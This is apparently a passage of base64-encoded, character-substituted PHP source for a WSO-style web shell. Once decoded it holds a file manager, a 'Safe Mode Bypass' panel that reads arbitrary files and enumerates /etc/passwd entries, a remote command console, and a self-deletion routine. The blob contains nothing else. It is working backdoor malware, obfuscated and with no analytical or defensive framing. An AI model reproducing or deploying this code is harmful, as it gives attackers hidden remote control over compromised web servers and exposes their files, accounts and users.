E9TVFsncDYnXSkgKQ0KCQkkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCTRmKEA0c19mNGw1KCRfUE9TVFsncDYnXSkgJiYgQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCgkJCTJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCgkJCWg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Ii5iMXM1bjFtNSgkX1BPU1RbJ3A2J10pKTsNCgkJCTRmIChmM25jdDQybl81eDRzdHMoIm00bTVfYzJudDVudF90eXA1IikpIHsNCgkJCQkkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOw0KCQkJCWg1MWQ1cigiQzJudDVudC1UeXA1OiAiIC4gJHR5cDUpOw0KCQkJfSA1bHM1DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbSIpOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCFAZjUyZigkZnApKQ0KCQkJCQk1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KCQkJCWZjbDJzNSgkZnApOw0KCQkJfQ0KCQl9NXg0dDsNCgl9DQoJNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQoJCTRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0KCQkJNGYoJGZwKSB7DQoJCQkJJF9QT1NUWydwYSddID0gIjVkNHQiOw0KCQkJCWZjbDJzNSgkZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5GNGw1IHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCgk0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KCQk1Y2gyICdGNGw1IG4ydCA1eDRzdHMnOw0KCQl3czJGMjJ0NXIoKTsNCgkJcjV0M3JuOw0KCX0NCgkkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7DQoJNGYoISQzNGQpIHsNCgkJJDM0ZFsnbjFtNSddID0gQGY0bDUyd241cigkX1BPU1RbJ3A2J10pOw0KCQkkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7DQoJfSA1bHM1ICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pKTsNCgk1Y2gyICc8c3Axbj5OMW01Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKEBiMXM1bjFtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPlM0ejU6PC9zcDFuPiAnLig0c19mNGw1KCRfUE9TVFsncDYnXSk/d3MyVjQ1d1M0ejUoZjRsNXM0ejUoJF9QT1NUWydwNiddKSk6Jy0nKS4nIDxzcDFuPlA1cm00c3M0Mm46PC9zcDFuPiAnLndzMlA1cm1zQzJsMnIoJF9QT1NUWydwNiddKS4nIDxzcDFuPk93bjVyL0dyMjNwOjwvc3Axbj4gJy4kMzRkWyduMW01J10uJy8nLiRnNGRbJ24xbTUnXS4nPGJyPic7DQoJNWNoMiAnPHNwMW4+Q3I1MXQ1IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1Y3Q0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5BY2M1c3MgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDUxdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPk0yZDRmeSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLic8YnI+PGJyPic7DQoJNGYoIDVtcHR5KCRfUE9TVFsncGEnXSkgKQ0KCQkkX1BPU1RbJ3BhJ10gPSAndjQ1dyc7DQoJNGYoIDRzX2Y0bDUoJF9QT1NUWydwNiddKSApDQoJCSRtID0gMXJyMXkoJ1Y0NXcnLCAnSDRnaGw0Z2h0JywgJ0Qyd25sMjFkJywgJ0g1eGQzbXAnLCAnRWQ0dCcsICdDaG0yZCcsICdSNW4xbTUnLCAnVDIzY2gnKTsNCgk1bHM1DQoJCSRtID0gMXJyMXkoJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCWYycjUxY2goJG0gMXMgJHYpDQoJCTVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8LzE+ICc7DQoJNWNoMiAnPGJyPjxicj4nOw0KCXN3NHRjaCgkX1BPU1RbJ3BhJ10pIHsNCgkJYzFzNSAndjQ1dyc6DQoJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC9wcjU+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNGdobDRnaHQnOg0KCQkJNGYoIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pICkgew0KCQkJCTVjaDIgJzxkNHYgY2wxc3M9bWw2IHN0eWw1PSJiMWNrZ3IyM25kLWMybDJyOiAjNTY1NjU2O2MybDJyOmJsMWNrOyI+JzsNCgkJCQkkYzJkNSA9IEBoNGdobDRnaHRfZjRsNSgkX1BPU1RbJ3A2J10sdHIzNSk7DQoJCQkJNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsNCgkJCX0NCgkJCWJyNTFrOw0KCQljMXM1ICdjaG0yZCc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHA1cm1zID0gMDsNCgkJCQlmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KQ0KCQkJCQkkcDVybXMgKz0gKDRudCkkX1BPU1RbJ3BvJ11bJDRdKnAydyg4LCAoc3RybDVuKCRfUE9TVFsncG8nXSktJDQtNikpOw0KCQkJCTRmKCFAY2htMmQoJF9QT1NUWydwNiddLCAkcDVybXMpKQ0KCQkJCQk1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICc1ZDR0JzoNCgkJCTRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJCTVjaDIgJ0Y0bDUgNHNuXCd0IHdyNHQ1MWJsNSc7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHQ0bTUgPSBAZjRsNW10NG01KCRfUE9TVFsncDYnXSk7DQoJCQkJJF9QT1NUWydwbyddID0gczNic3RyKCRfUE9TVFsncG8nXSw2KTsNCgkJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCJ3Iik7DQoJCQkJNGYoJGZwKSB7DQoJCQkJCUBmd3I0dDUoJGZwLCRfUE9TVFsncG8nXSk7DQoJCQkJCUBmY2wyczUoJGZwKTsNCgkJCQkJNWNoMiAnUzF2NWQhPGJyPjxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0Pic7DQoJCQkJCUB0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpOw0KCQkJCX0NCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCc2XCcrdGg0cy50NXh0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT10NXh0IGNsMXNzPWI0ZzFyNTE+JzsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSggIUBmNTJmKCRmcCkgKQ0KCQkJCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KCQkJCUBmY2wyczUoJGZwKTsNCgkJCX0NCgkJCTVjaDIgJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAnaDV4ZDNtcCc6DQoJCQkkYyA9IEBmNGw1X2c1dF9jMm50NW50cygkX1BPU1RbJ3A2J10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSAxcnIxeSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbDVuID0gc3RybDVuKCRjKTsNCgkJCWYyciAoJDQ9MDsgJDQ8JGw1bjsgKyskNCkgew0KCQkJCSRoWzZdIC49IHNwcjRudGYoJyUwYVgnLDJyZCgkY1skNF0pKS4nICc7DQoJCQkJc3c0dGNoICggMnJkKCRjWyQ0XSkgKSB7DQoJCQkJCWMxczUgMDogICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgOTogICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgNjA6ICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgNm86ICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWQ1ZjEzbHQ6ICRoW2FdIC49ICRjWyQ0XTsgYnI1MWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJNGYgKCRuID09IG9hKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJNGYgKCQ0KzYgPCAkbDVuKSB7JGhbMF0gLj0gc3ByNG50ZignJTA4WCcsJDQrNikuJzxicj4nO30NCgkJCQkJJGhbNl0gLj0gJzxicj4nOw0KCQkJCQkkaFthXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQk1Y2gyICc8dDFibDUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1pIGJnYzJsMnI9I2FhYWFhYT48dHI+PHRkIGJnYzJsMnI9I29vb29vbz48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAncjVuMW01JzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQk0ZighQHI1bjFtNSgkX1BPU1RbJ3A2J10sICRfUE9TVFsncG8nXSkpDQoJCQkJCTVjaDIgJ0MxblwndCByNW4xbTUhPGJyPic7DQoJCQkJNWxzNQ0KCQkJCQlkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAndDIzY2gnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQoJCQkJNGYoJHQ0bTUpIHsNCgkJCQkJNGYoIXQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQoJCQkJCQk1Y2gyICdGMTRsISc7DQoJCQkJCTVsczUNCgkJCQkJCTVjaDIgJ1QyM2NoNWQhJzsNCgkJCQl9IDVsczUgNWNoMiAnQjFkIHQ0bTUgZjJybTF0ISc7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnQyM2NoLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIzY2ggdjFsMzU9IicuZDF0NSgiWS1tLWQgSDo0OnMiLCBAZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblMxZjVNMmQ1KCkgew0KCSR0NW1wPScnOw0KCTJiX3N0MXJ0KCk7DQoJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQljMXM1IDY6DQoJCQkkdDVtcD1AdDVtcG4xbSgkdDVzdCwgJ2N4Jyk7DQoJCQk0ZihAYzJweSgiYzJtcHI1c3Muemw0YjovLyIuJF9QT1NUWydwYSddLCAkdDVtcCkpew0KCQkJCTVjaDIgQGY0bDVfZzV0X2MybnQ1bnRzKCR0NW1wKTsNCgkJCQkzbmw0bmsoJHQ1bXApOw0KCQkJfSA1bHM1DQoJCQkJNWNoMiAnUzJycnkuLi4gQzFuXCd0IDJwNW4gZjRsNSc7DQoJCQlicjUxazsNCgkJYzFzNSBhOg0KCQkJJGY0bDVzID0gZ2wyYigkX1BPU1RbJ3BhJ10uJyonKTsNCgkJCTRmKCA0c18xcnIxeSgkZjRsNXMpICkNCgkJCQlmMnI1MWNoICgkZjRsNXMgMXMgJGY0bDVuMW01KQ0KCQkJCQk1Y2gyICRmNGw1bjFtNS4iXG4iOw0KCQkJYnI1MWs7DQoJCWMxczUgbzoNCgkJCSRjaCA9IGMzcmxfNG40dCgiZjRsNTovLyIuJF9QT1NUWydwYSddLiJceDAwIi5wcjVnX3I1cGwxYzUoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKTsNCgkJCWMzcmxfNXg1YygkY2gpOw0KCQkJYnI1MWs7DQoJCWMxczUgdToNCgkJCTRuNF9yNXN0MnI1KCJzMWY1X20yZDUiKTsNCgkJCTRuNF9yNXN0MnI1KCIycDVuX2IxczVkNHIiKTsNCgkJCTRuY2wzZDUoJF9QT1NUWydwYSddKTsNCgkJCWJyNTFrOw0KCQljMXM1IGk6DQoJCQlmMnIoOyRfUE9TVFsncGEnXSA8PSAkX1BPU1RbJ3BvJ107JF9QT1NUWydwYSddKyspIHsNCgkJCQkkMzRkID0gQHAyczR4X2c1dHB3MzRkKCRfUE9TVFsncGEnXSk7DQoJCQkJNGYgKCQzNGQpDQoJCQkJCTVjaDIgajI0bignOicsJDM0ZCkuIlxuIjsNCgkJCX0NCgkJCWJyNTFrOw0KCX0NCgkkdDVtcCA9IDJiX2c1dF9jbDUxbigpOw0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TMWY1IE0yZDUgQnlwMXNzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCgk1Y2gyICc8c3Axbj5DMnB5IChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsIjYiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5HbDJiIChsNHN0IGQ0cik8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiYSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkMzcmwgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwibyIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkluNF9yNXN0MnI1IChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsInUiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5QMnM0eF9nNXRwdzM0ZCAoIlI1MWQiIC81dGMvcDFzc3dkKTwvc3Axbj48dDFibDU+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiaSIsdGg0cy5wMXIxbTYudjFsMzUsdGg0cy5wMXIxbWEudjFsMzUpO3I1dDNybiBmMWxzNTtcJz48dHI+PHRkPkZyMm08L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW02IHYxbDM1PTA+PC90ZD48L3RyPjx0cj48dGQ+VDI8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW1hIHYxbDM1PTYwMDA+PC90ZD48L3RyPjwvdDFibDU+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJNGYoJHQ1bXApDQoJCTVjaDIgJzxwcjUgY2wxc3M9Im1sNiIgc3R5bDU9Im0xcmc0bi10MnA6aXB4IiA0ZD0iTzN0cDN0Ij4nLmh0bWxzcDVjNDFsY2gxcnMoJHQ1bXApLic8L3ByNT4nOw0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkMybnMybDUoKSB7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkgJiYgITVtcHR5KCRfUE9TVFsncGEnXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSB0cjM1Ow0KICAgICAgICAkX1BPU1RbJ3A2J10gLj0gJyBhPiY2JzsNCiAgICB9IDVsczU0ZighNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSBmMWxzNTsNCg0KCTRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KCQkkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IHRyMzU7DQoJCTJiX3N0MXJ0KCk7DQoJCTVjaDIgImQuY2YuY21kLnYxbDM1PScnO1xuIjsNCgkJJHQ1bXAgPSBANGMybnYoJF9QT1NUWydjaDFyczV0J10sICdVVEYtOCcsIDFkZGNzbDFzaDVzKCJcbiQgIi4kX1BPU1RbJ3A2J10uIlxuIi53czJFeCgkX1BPU1RbJ3A2J10pLCJcblxyXHRcXCdcMCIpKTsNCgkJNGYocHI1Z19tMXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDYnXSwkbTF0Y2gpKQl7DQoJCQk0ZihAY2hkNHIoJG0xdGNoWzZdKSkgew0KCQkJCSRHTE9CQUxTWydjd2QnXSA9IEBnNXRjd2QoKTsNCgkJCQk1Y2gyICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCgkJCX0NCgkJfQ0KCQk1Y2gyICJkLmNmLjIzdHAzdC52MWwzNSs9JyIuJHQ1bXAuIic7IjsNCgkJNWNoMiAiZC5jZi4yM3RwM3Quc2NyMmxsVDJwID0gZC5jZi4yM3RwM3Quc2NyMmxsSDU0Z2h0OyI7DQoJCSR0NW1wID0gMmJfZzV0X2NsNTFuKCk7DQoJCTVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQoJCTV4NHQ7DQoJfQ0KCXdzMkg1MWQ1cigpOw0KICAgIDVjaDIgIjxzY3I0cHQ+DQo0Zih3NG5kMncuRXY1bnQpIHc0bmQydy5jMXB0M3I1RXY1bnRzKEV2NW50LktFWURPV04pOw0KdjFyIGNtZHMgPSBuNXcgQXJyMXkoJycpOw0KdjFyIGMzciA9IDA7DQpmM25jdDQybiBrcCg1KSB7DQoJdjFyIG4gPSAodzRuZDJ3LkV2NW50KSA/IDUud2g0Y2ggOiA1Lms1eUMyZDU7DQoJNGYobiA9PSBvOCkgew0KCQljM3ItLTsNCgkJNGYoYzNyPj0wKQ0KCQkJZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KCQk1bHM1DQoJCQljM3IrKzsNCgl9IDVsczUgNGYobiA9PSB1MCkgew0KCQljM3IrKzsNCgkJNGYoYzNyIDwgY21kcy5sNW5ndGgpDQoJCQlkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQoJCTVsczUNCgkJCWMzci0tOw0KCX0NCn0NCmYzbmN0NDJuIDFkZChjbWQpIHsNCgljbWRzLnAycCgpOw0KCWNtZHMucDNzaChjbWQpOw0KCWNtZHMucDNzaCgnJyk7DQoJYzNyID0gY21kcy5sNW5ndGgtNjsNCn0NCjwvc2NyNHB0PiI7DQoJNWNoMiAnPGg2PkMybnMybDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PWNmIDJuczNibTR0PSI0ZihkLmNmLmNtZC52MWwzNT09XCdjbDUxclwnKXtkLmNmLjIzdHAzdC52MWwzNT1cJ1wnO2QuY2YuY21kLnYxbDM1PVwnXCc7cjV0M3JuIGYxbHM1O30xZGQodGg0cy5jbWQudjFsMzUpOzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSx0aDRzLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSx0aDRzLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IHI1dDNybiBmMWxzNTsiPjxzNWw1Y3QgbjFtNT0xbDQxcz4nOw0KCWYycjUxY2goJEdMT0JBTFNbJzFsNDFzNXMnXSAxcyAkbiA9PiAkdikgew0KCQk0ZigkdiA9PSAnJykgew0KCQkJNWNoMiAnPDJwdGdyMjNwIGwxYjVsPSItJy5odG1sc3A1YzQxbGNoMXJzKCRuKS4nLSI+PC8ycHRncjIzcD4nOw0KCQkJYzJudDRuMzU7DQoJCX0NCgkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCR2KS4nIj4nLiRuLic8LzJwdDQybj4nOw0KCX0NCgk0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KCQkkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IGYxbHM1Ow0KCTVjaDIgJzwvczVsNWN0Pjw0bnAzdCB0eXA1PWIzdHQybiAybmNsNGNrPSIxZGQoZC5jZi4xbDQxcy52MWwzNSk7NGYoZC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IiB2MWwzNT0iPj4iPiA8bjJicj48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLihAJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVggPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zaDJ3XzVycjJycyB2MWwzNT02ICcuKCE1bXB0eSgkX1BPU1RbJ3BhJ10pfHwkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXT8nY2g1Y2s1ZCc6JycpLic+IHI1ZDRyNWN0IHN0ZDVyciB0MiBzdGQyM3QgKGE+JjYpPC9uMmJyPjxici8+PHQ1eHQxcjUxIGNsMXNzPWI0ZzFyNTEgbjFtNT0yM3RwM3Qgc3R5bDU9ImIycmQ1ci1iMnR0Mm06MDttMXJnNG46MDsiIHI1MWQybmx5Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKCIkICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSk7DQoJfQ0KCTVjaDIgJzwvdDV4dDFyNTE+PHQxYmw1IHN0eWw1PSJiMnJkNXI6NnB4IHMybDRkICMwMDAwMDA7YjFja2dyMjNuZC1jMmwycjojZmZmZmZmO2IycmQ1ci10MnA6MHB4OyIgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIHc0ZHRoPSI2MDAlIj48dHI+PHRkIHc0ZHRoPSI2JSI+WyRdPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNtZCBzdHlsNT0iYjJyZDVyOjZweDt3NGR0aDo2MDAlOyIgMm5rNXlkMnduPSJrcCg1djVudCk7Ij48L3RkPjwvdHI+PC90MWJsNT4nOw0KCTVjaDIgJzwvZjJybT48L2Q0dj48c2NyNHB0PmQuY2YuY21kLmYyYzNzKCk7PC9zY3I0cHQ+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuTDJnMjN0KCkgew0KICAgIHM1c3M0Mm5fZDVzdHIyeSgpOw0KCWQ0NTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzVsZlI1bTJ2NSgpIHsNCgkNCgk0ZigkX1BPU1RbJ3A2J10gPT0gJ3k1cycpDQoJCTRmKEAzbmw0bmsocHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpDQoJCQlkNDUoJ1NoNWxsIGgxcyBiNTVuIHI1bTJ2NWQnKTsNCgkJNWxzNQ0KCQkJNWNoMiAnM25sNG5rIDVycjJyISc7DQogICAgNGYoJF9QT1NUWydwNiddICE9ICd5NXMnKQ0KICAgICAgICB3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+UzM0YzRkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PlI1MWxseSB3MW50IHQyIHI1bTJ2NSB0aDUgc2g1bGw/PGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+WTVzPC8x